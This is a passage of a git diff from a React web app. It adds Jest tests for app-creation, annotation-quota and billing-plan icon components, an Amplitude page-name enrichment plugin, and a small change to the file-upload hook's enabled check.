||||
expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
|
||||
expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('User Interactions - DSL Import Modal', () => {
|
||||
it('should open DSL modal when clicking Import DSL', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.importDSL'))
|
||||
|
||||
expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should close DSL modal when clicking close button', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.importDSL'))
|
||||
expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
|
||||
|
||||
fireEvent.click(screen.getByTestId('close-dsl-modal'))
|
||||
expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should call onSuccess and onPlanInfoChanged on DSL import success', () => {
|
||||
const mockOnSuccess = jest.fn()
|
||||
render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.importDSL'))
|
||||
fireEvent.click(screen.getByTestId('success-dsl-modal'))
|
||||
|
||||
expect(mockOnPlanInfoChanged).toHaveBeenCalled()
|
||||
expect(mockOnSuccess).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Styling', () => {
|
||||
it('should have correct card container styling', () => {
|
||||
const { container } = render(<CreateAppCard ref={defaultRef} />)
|
||||
const card = container.firstChild as HTMLElement
|
||||
|
||||
expect(card).toHaveClass('h-[160px]', 'rounded-xl')
|
||||
})
|
||||
|
||||
it('should have proper button styling', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
const buttons = screen.getAllByRole('button')
|
||||
buttons.forEach((button) => {
|
||||
expect(button).toHaveClass('cursor-pointer')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple modal opens/closes', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
// Open and close create modal
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
fireEvent.click(screen.getByTestId('close-create-modal'))
|
||||
|
||||
// Open and close template dialog
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
|
||||
fireEvent.click(screen.getByTestId('close-template-dialog'))
|
||||
|
||||
// Open and close DSL modal
|
||||
fireEvent.click(screen.getByText('app.importDSL'))
|
||||
fireEvent.click(screen.getByTestId('close-dsl-modal'))
|
||||
|
||||
// No modals should be visible
|
||||
expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
|
||||
expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
|
||||
expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle onSuccess not being provided', () => {
|
||||
render(<CreateAppCard ref={defaultRef} />)
|
||||
|
||||
fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
|
||||
// This should not throw an error
|
||||
expect(() => {
|
||||
fireEvent.click(screen.getByTestId('success-create-modal'))
|
||||
}).not.toThrow()
|
||||
|
||||
expect(mockOnPlanInfoChanged).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -15,6 +15,43 @@ export const isAmplitudeEnabled = () => {
|
|||
return IS_CLOUD_EDITION && !!AMPLITUDE_API_KEY
|
||||
}
|
||||
|
||||
// Map URL pathname to English page name for consistent Amplitude tracking
|
||||
const getEnglishPageName = (pathname: string): string => {
|
||||
// Remove leading slash and get the first segment
|
||||
const segments = pathname.replace(/^\//, '').split('/')
|
||||
const firstSegment = segments[0] || 'home'
|
||||
|
||||
const pageNameMap: Record<string, string> = {
|
||||
'': 'Home',
|
||||
'apps': 'Studio',
|
||||
'datasets': 'Knowledge',
|
||||
'explore': 'Explore',
|
||||
'tools': 'Tools',
|
||||
'account': 'Account',
|
||||
'signin': 'Sign In',
|
||||
'signup': 'Sign Up',
|
||||
}
|
||||
|
||||
return pageNameMap[firstSegment] || firstSegment.charAt(0).toUpperCase() + firstSegment.slice(1)
|
||||
}
|
||||
|
||||
// Enrichment plugin to override page title with English name for page view events
|
||||
const pageNameEnrichmentPlugin = (): amplitude.Types.EnrichmentPlugin => {
|
||||
return {
|
||||
name: 'page-name-enrichment',
|
||||
type: 'enrichment',
|
||||
setup: async () => undefined,
|
||||
execute: async (event: amplitude.Types.Event) => {
|
||||
// Only modify page view events
|
||||
if (event.event_type === '[Amplitude] Page Viewed' && event.event_properties) {
|
||||
const pathname = typeof window !== 'undefined' ? window.location.pathname : ''
|
||||
event.event_properties['[Amplitude] Page Title'] = getEnglishPageName(pathname)
|
||||
}
|
||||
return event
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
const AmplitudeProvider: FC<IAmplitudeProps> = ({
|
||||
sessionReplaySampleRate = 1,
|
||||
}) => {
|
||||
|
|
@ -31,10 +68,11 @@ const AmplitudeProvider: FC<IAmplitudeProps> = ({
|
|||
formInteractions: true,
|
||||
fileDownloads: true,
|
||||
},
|
||||
// Enable debug logs in development environment
|
||||
logLevel: amplitude.Types.LogLevel.Warn,
|
||||
})
|
||||
|
||||
// Add page name enrichment plugin to override page title with English name
|
||||
amplitude.add(pageNameEnrichmentPlugin())
|
||||
|
||||
// Add Session Replay plugin
|
||||
const sessionReplay = sessionReplayPlugin({
|
||||
sampleRate: sessionReplaySampleRate,
|
||||
|
|
|
|||
|
|
@ -218,7 +218,7 @@ const ChatWrapper = () => {
|
|||
)
|
||||
}
|
||||
return (
|
||||
<div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
|
||||
<div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
|
||||
<AppIcon
|
||||
size='xl'
|
||||
iconType={appData?.site.icon_type}
|
||||
|
|
|
|||
|
|
@ -79,7 +79,7 @@ const ChatInputArea = ({
|
|||
handleDropFile,
|
||||
handleClipboardPasteFile,
|
||||
isDragActive,
|
||||
} = useFile(visionConfig!)
|
||||
} = useFile(visionConfig!, false)
|
||||
const { checkInputsForm } = useCheckInputsForms()
|
||||
const historyRef = useRef([''])
|
||||
const [currentIndex, setCurrentIndex] = useState(-1)
|
||||
|
|
|
|||
|
|
@ -208,7 +208,7 @@ const ChatWrapper = () => {
|
|||
)
|
||||
}
|
||||
return (
|
||||
<div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
|
||||
<div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12', isMobile ? 'min-h-[30vh] py-0' : 'h-[50vh]')}>
|
||||
<AppIcon
|
||||
size='xl'
|
||||
iconType={appData?.site.icon_type}
|
||||
|
|
|
|||
|
|
@ -47,7 +47,7 @@ export const useFileSizeLimit = (fileUploadConfig?: FileUploadConfigResponse) =>
|
|||
}
|
||||
}
|
||||
|
||||
export const useFile = (fileConfig: FileUpload) => {
|
||||
export const useFile = (fileConfig: FileUpload, noNeedToCheckEnable = true) => {
|
||||
const { t } = useTranslation()
|
||||
const { notify } = useToastContext()
|
||||
const fileStore = useFileStore()
|
||||
|
|
@ -247,7 +247,7 @@ export const useFile = (fileConfig: FileUpload) => {
|
|||
|
||||
const handleLocalFileUpload = useCallback((file: File) => {
|
||||
// Check file upload enabled
|
||||
if (!fileConfig.enabled) {
|
||||
if (!noNeedToCheckEnable && !fileConfig.enabled) {
|
||||
notify({ type: 'error', message: t('common.fileUploader.uploadDisabled') })
|
||||
return
|
||||
}
|
||||
|
|
@ -303,7 +303,7 @@ export const useFile = (fileConfig: FileUpload) => {
|
|||
false,
|
||||
)
|
||||
reader.readAsDataURL(file)
|
||||
}, [checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled])
|
||||
}, [noNeedToCheckEnable, checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled])
|
||||
|
||||
const handleClipboardPasteFile = useCallback((e: ClipboardEvent<HTMLTextAreaElement>) => {
|
||||
const file = e.clipboardData?.files[0]
|
||||
|
|
|
|||
|
|
@ -0,0 +1,71 @@
|
|||
import { render, screen } from '@testing-library/react'
|
||||
import AnnotationFull from './index'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
let mockUsageProps: { className?: string } | null = null
|
||||
jest.mock('./usage', () => ({
|
||||
__esModule: true,
|
||||
default: (props: { className?: string }) => {
|
||||
mockUsageProps = props
|
||||
return (
|
||||
<div data-testid='usage-component' data-classname={props.className ?? ''}>
|
||||
usage
|
||||
</div>
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
let mockUpgradeBtnProps: { loc?: string } | null = null
|
||||
jest.mock('../upgrade-btn', () => ({
|
||||
__esModule: true,
|
||||
default: (props: { loc?: string }) => {
|
||||
mockUpgradeBtnProps = props
|
||||
return (
|
||||
<button type='button' data-testid='upgrade-btn'>
|
||||
{props.loc}
|
||||
</button>
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
describe('AnnotationFull', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
mockUsageProps = null
|
||||
mockUpgradeBtnProps = null
|
||||
})
|
||||
|
||||
// Rendering marketing copy with action button
|
||||
describe('Rendering', () => {
|
||||
it('should render tips when rendered', () => {
|
||||
// Act
|
||||
render(<AnnotationFull />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
|
||||
expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render upgrade button when rendered', () => {
|
||||
// Act
|
||||
render(<AnnotationFull />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByTestId('upgrade-btn')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Usage component when rendered', () => {
|
||||
// Act
|
||||
render(<AnnotationFull />)
|
||||
|
||||
// Assert
|
||||
const usageComponent = screen.getByTestId('usage-component')
|
||||
expect(usageComponent).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,119 @@
|
|||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import AnnotationFullModal from './modal'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
let mockUsageProps: { className?: string } | null = null
|
||||
jest.mock('./usage', () => ({
|
||||
__esModule: true,
|
||||
default: (props: { className?: string }) => {
|
||||
mockUsageProps = props
|
||||
return (
|
||||
<div data-testid='usage-component' data-classname={props.className ?? ''}>
|
||||
usage
|
||||
</div>
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
let mockUpgradeBtnProps: { loc?: string } | null = null
|
||||
jest.mock('../upgrade-btn', () => ({
|
||||
__esModule: true,
|
||||
default: (props: { loc?: string }) => {
|
||||
mockUpgradeBtnProps = props
|
||||
return (
|
||||
<button type='button' data-testid='upgrade-btn'>
|
||||
{props.loc}
|
||||
</button>
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
type ModalSnapshot = {
|
||||
isShow: boolean
|
||||
closable?: boolean
|
||||
className?: string
|
||||
}
|
||||
let mockModalProps: ModalSnapshot | null = null
|
||||
jest.mock('../../base/modal', () => ({
|
||||
__esModule: true,
|
||||
default: ({ isShow, children, onClose, closable, className }: { isShow: boolean; children: React.ReactNode; onClose: () => void; closable?: boolean; className?: string }) => {
|
||||
mockModalProps = {
|
||||
isShow,
|
||||
closable,
|
||||
className,
|
||||
}
|
||||
if (!isShow)
|
||||
return null
|
||||
return (
|
||||
<div data-testid='annotation-full-modal' data-classname={className ?? ''}>
|
||||
{closable && (
|
||||
<button type='button' data-testid='mock-modal-close' onClick={onClose}>
|
||||
close
|
||||
</button>
|
||||
)}
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
},
|
||||
}))
|
||||
|
||||
describe('AnnotationFullModal', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
mockUsageProps = null
|
||||
mockUpgradeBtnProps = null
|
||||
mockModalProps = null
|
||||
})
|
||||
|
||||
// Rendering marketing copy inside modal
|
||||
describe('Rendering', () => {
|
||||
it('should display main info when visible', () => {
|
||||
// Act
|
||||
render(<AnnotationFullModal show onHide={jest.fn()} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
|
||||
expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('usage-component')).toHaveAttribute('data-classname', 'mt-4')
|
||||
expect(screen.getByTestId('upgrade-btn')).toHaveTextContent('annotation-create')
|
||||
expect(mockUpgradeBtnProps?.loc).toBe('annotation-create')
|
||||
expect(mockModalProps).toEqual(expect.objectContaining({
|
||||
isShow: true,
|
||||
closable: true,
|
||||
className: '!p-0',
|
||||
}))
|
||||
})
|
||||
})
|
||||
|
||||
// Controlling modal visibility
|
||||
describe('Visibility', () => {
|
||||
it('should not render content when hidden', () => {
|
||||
// Act
|
||||
const { container } = render(<AnnotationFullModal show={false} onHide={jest.fn()} />)
|
||||
|
||||
// Assert
|
||||
expect(container).toBeEmptyDOMElement()
|
||||
expect(mockModalProps).toEqual(expect.objectContaining({ isShow: false }))
|
||||
})
|
||||
})
|
||||
|
||||
// Handling close interactions
|
||||
describe('Close handling', () => {
|
||||
it('should trigger onHide when close control is clicked', () => {
|
||||
// Arrange
|
||||
const onHide = jest.fn()
|
||||
|
||||
// Act
|
||||
render(<AnnotationFullModal show onHide={onHide} />)
|
||||
fireEvent.click(screen.getByTestId('mock-modal-close'))
|
||||
|
||||
// Assert
|
||||
expect(onHide).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,249 @@
|
|||
import { render } from '@testing-library/react'
|
||||
import Enterprise from './enterprise'
|
||||
|
||||
describe('Enterprise Icon Component', () => {
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
expect(container.firstChild).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render an SVG element', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have correct SVG attributes', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
|
||||
expect(svg).toHaveAttribute('fill', 'none')
|
||||
})
|
||||
|
||||
it('should render only path elements', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const paths = container.querySelectorAll('path')
|
||||
const rects = container.querySelectorAll('rect')
|
||||
|
||||
// Enterprise icon uses only path elements, no rects
|
||||
expect(paths.length).toBeGreaterThan(0)
|
||||
expect(rects).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('should render elements with correct fill colors', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
expect(blueElements.length).toBeGreaterThan(0)
|
||||
expect(quaternaryElements.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Component Behavior', () => {
|
||||
it('should render consistently across multiple renders', () => {
|
||||
const { container: container1 } = render(<Enterprise />)
|
||||
const { container: container2 } = render(<Enterprise />)
|
||||
|
||||
expect(container1.innerHTML).toBe(container2.innerHTML)
|
||||
})
|
||||
|
||||
it('should maintain stable output without memoization', () => {
|
||||
const { container, rerender } = render(<Enterprise />)
|
||||
const firstRender = container.innerHTML
|
||||
|
||||
rerender(<Enterprise />)
|
||||
const secondRender = container.innerHTML
|
||||
|
||||
expect(firstRender).toBe(secondRender)
|
||||
})
|
||||
|
||||
it('should be a functional component', () => {
|
||||
expect(typeof Enterprise).toBe('function')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Accessibility', () => {
|
||||
it('should render as a decorative image', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should be usable in accessible contexts', () => {
|
||||
const { container } = render(
|
||||
<div role="img" aria-label="Enterprise plan">
|
||||
<Enterprise />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const wrapper = container.querySelector('[role="img"]')
|
||||
expect(wrapper).toBeInTheDocument()
|
||||
expect(wrapper).toHaveAttribute('aria-label', 'Enterprise plan')
|
||||
})
|
||||
|
||||
it('should support custom wrapper accessibility', () => {
|
||||
const { container } = render(
|
||||
<button aria-label="Select Enterprise plan">
|
||||
<Enterprise />
|
||||
</button>,
|
||||
)
|
||||
|
||||
const button = container.querySelector('button')
|
||||
expect(button).toHaveAttribute('aria-label', 'Select Enterprise plan')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple instances without conflicts', () => {
|
||||
const { container } = render(
|
||||
<>
|
||||
<Enterprise />
|
||||
<Enterprise />
|
||||
<Enterprise />
|
||||
</>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(3)
|
||||
})
|
||||
|
||||
it('should maintain structure when wrapped in other elements', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
<span>
|
||||
<Enterprise />
|
||||
</span>
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg?.getAttribute('width')).toBe('32')
|
||||
})
|
||||
|
||||
it('should render correctly in grid layout', () => {
|
||||
const { container } = render(
|
||||
<div style={{ display: 'grid' }}>
|
||||
<Enterprise />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render correctly in flex layout', () => {
|
||||
const { container } = render(
|
||||
<div style={{ display: 'flex' }}>
|
||||
<Enterprise />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('CSS Variables', () => {
|
||||
it('should use CSS custom properties for colors', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
|
||||
|
||||
expect(elementsWithCSSVars.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should have opacity attributes on quaternary path elements', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
quaternaryPaths.forEach((path) => {
|
||||
expect(path).toHaveAttribute('opacity', '0.18')
|
||||
})
|
||||
})
|
||||
|
||||
it('should not have opacity on blue inverted path elements', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const bluePaths = container.querySelectorAll('path[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
|
||||
bluePaths.forEach((path) => {
|
||||
expect(path).not.toHaveAttribute('opacity')
|
||||
})
|
||||
})
|
||||
|
||||
it('should use correct CSS variable names', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
paths.forEach((path) => {
|
||||
const fill = path.getAttribute('fill')
|
||||
if (fill?.includes('var('))
|
||||
expect(fill).toMatch(/var\(--(color-saas-dify-blue-inverted|color-text-quaternary)\)/)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('SVG Structure', () => {
|
||||
it('should have correct path element structure', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
paths.forEach((path) => {
|
||||
expect(path).toHaveAttribute('d')
|
||||
expect(path).toHaveAttribute('fill')
|
||||
})
|
||||
})
|
||||
|
||||
it('should have valid path data', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
paths.forEach((path) => {
|
||||
const d = path.getAttribute('d')
|
||||
expect(d).toBeTruthy()
|
||||
expect(d?.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
it('should maintain proper element count', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg?.childNodes.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Export', () => {
|
||||
it('should be the default export', () => {
|
||||
expect(Enterprise).toBeDefined()
|
||||
expect(typeof Enterprise).toBe('function')
|
||||
})
|
||||
|
||||
it('should return valid JSX', () => {
|
||||
const result = Enterprise()
|
||||
expect(result).toBeTruthy()
|
||||
expect(result.type).toBe('svg')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Performance', () => {
|
||||
it('should render efficiently for multiple instances', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
{Array.from({ length: 10 }).map((_, i) => (
|
||||
<Enterprise key={i} />
|
||||
))}
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(10)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,312 @@
|
|||
import { render } from '@testing-library/react'
|
||||
import { Enterprise, Professional, Sandbox, Team } from './index'
|
||||
|
||||
// Import real components for comparison
|
||||
import SandboxDirect from './sandbox'
|
||||
import ProfessionalDirect from './professional'
|
||||
import TeamDirect from './team'
|
||||
import EnterpriseDirect from './enterprise'
|
||||
|
||||
describe('Billing Plan Assets - Integration Tests', () => {
|
||||
describe('Exports', () => {
|
||||
it('should export Sandbox component', () => {
|
||||
expect(Sandbox).toBeDefined()
|
||||
// Sandbox is wrapped with React.memo, so it's an object
|
||||
expect(typeof Sandbox).toMatch(/function|object/)
|
||||
})
|
||||
|
||||
it('should export Professional component', () => {
|
||||
expect(Professional).toBeDefined()
|
||||
expect(typeof Professional).toBe('function')
|
||||
})
|
||||
|
||||
it('should export Team component', () => {
|
||||
expect(Team).toBeDefined()
|
||||
expect(typeof Team).toBe('function')
|
||||
})
|
||||
|
||||
it('should export Enterprise component', () => {
|
||||
expect(Enterprise).toBeDefined()
|
||||
expect(typeof Enterprise).toBe('function')
|
||||
})
|
||||
|
||||
it('should export all four components', () => {
|
||||
const exports = { Sandbox, Professional, Team, Enterprise }
|
||||
expect(Object.keys(exports)).toHaveLength(4)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Export Integrity', () => {
|
||||
it('should export the correct Sandbox component', () => {
|
||||
expect(Sandbox).toBe(SandboxDirect)
|
||||
})
|
||||
|
||||
it('should export the correct Professional component', () => {
|
||||
expect(Professional).toBe(ProfessionalDirect)
|
||||
})
|
||||
|
||||
it('should export the correct Team component', () => {
|
||||
expect(Team).toBe(TeamDirect)
|
||||
})
|
||||
|
||||
it('should export the correct Enterprise component', () => {
|
||||
expect(Enterprise).toBe(EnterpriseDirect)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Rendering Integration', () => {
|
||||
it('should render all components without conflicts', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
<Sandbox />
|
||||
<Professional />
|
||||
<Team />
|
||||
<Enterprise />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(4)
|
||||
})
|
||||
|
||||
it('should render Sandbox component correctly', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
})
|
||||
|
||||
it('should render Professional component correctly', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
})
|
||||
|
||||
it('should render Team component correctly', () => {
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
})
|
||||
|
||||
it('should render Enterprise component correctly', () => {
|
||||
const { container } = render(<Enterprise />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Visual Consistency', () => {
|
||||
it('should maintain consistent SVG dimensions across all components', () => {
|
||||
const components = [
|
||||
<Sandbox key="sandbox" />,
|
||||
<Professional key="professional" />,
|
||||
<Team key="team" />,
|
||||
<Enterprise key="enterprise" />,
|
||||
]
|
||||
|
||||
components.forEach((component) => {
|
||||
const { container } = render(component)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
|
||||
})
|
||||
})
|
||||
|
||||
it('should use consistent color variables across all components', () => {
|
||||
const components = [Sandbox, Professional, Team, Enterprise]
|
||||
|
||||
components.forEach((Component) => {
|
||||
const { container } = render(<Component />)
|
||||
const elementsWithBlue = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
const elementsWithQuaternary = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
expect(elementsWithBlue.length).toBeGreaterThan(0)
|
||||
expect(elementsWithQuaternary.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Component Independence', () => {
|
||||
it('should render components independently without side effects', () => {
|
||||
const { container: container1 } = render(<Sandbox />)
|
||||
const svg1 = container1.querySelector('svg')
|
||||
|
||||
const { container: container2 } = render(<Professional />)
|
||||
const svg2 = container2.querySelector('svg')
|
||||
|
||||
// Components should not affect each other
|
||||
expect(svg1).toBeInTheDocument()
|
||||
expect(svg2).toBeInTheDocument()
|
||||
expect(svg1).not.toBe(svg2)
|
||||
})
|
||||
|
||||
it('should allow selective imports', () => {
|
||||
// Verify that importing only one component works
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Bundle Export Pattern', () => {
|
||||
it('should follow barrel export pattern correctly', () => {
|
||||
// All exports should be available from the index
|
||||
expect(Sandbox).toBeDefined()
|
||||
expect(Professional).toBeDefined()
|
||||
expect(Team).toBeDefined()
|
||||
expect(Enterprise).toBeDefined()
|
||||
})
|
||||
|
||||
it('should maintain tree-shaking compatibility', () => {
|
||||
// Each export should be independently usable
|
||||
const components = [Sandbox, Professional, Team, Enterprise]
|
||||
|
||||
components.forEach((Component) => {
|
||||
// Component can be function or object (React.memo wraps it)
|
||||
expect(['function', 'object']).toContain(typeof Component)
|
||||
const { container } = render(<Component />)
|
||||
expect(container.querySelector('svg')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Real-world Usage Patterns', () => {
|
||||
it('should support rendering in a plan selector', () => {
|
||||
const { container } = render(
|
||||
<div className="plan-selector">
|
||||
<button className="plan-option">
|
||||
<Sandbox />
|
||||
<span>Sandbox</span>
|
||||
</button>
|
||||
<button className="plan-option">
|
||||
<Professional />
|
||||
<span>Professional</span>
|
||||
</button>
|
||||
<button className="plan-option">
|
||||
<Team />
|
||||
<span>Team</span>
|
||||
</button>
|
||||
<button className="plan-option">
|
||||
<Enterprise />
|
||||
<span>Enterprise</span>
|
||||
</button>
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
const buttons = container.querySelectorAll('button')
|
||||
|
||||
expect(svgs).toHaveLength(4)
|
||||
expect(buttons).toHaveLength(4)
|
||||
})
|
||||
|
||||
it('should support rendering in a comparison table', () => {
|
||||
const { container } = render(
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th><Sandbox /></th>
|
||||
<th><Professional /></th>
|
||||
<th><Team /></th>
|
||||
<th><Enterprise /></th>
|
||||
</tr>
|
||||
</thead>
|
||||
</table>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(4)
|
||||
})
|
||||
|
||||
it('should support conditional rendering', () => {
|
||||
const renderPlan = (planType: 'sandbox' | 'professional' | 'team' | 'enterprise') => (
|
||||
<div>
|
||||
{planType === 'sandbox' && <Sandbox />}
|
||||
{planType === 'professional' && <Professional />}
|
||||
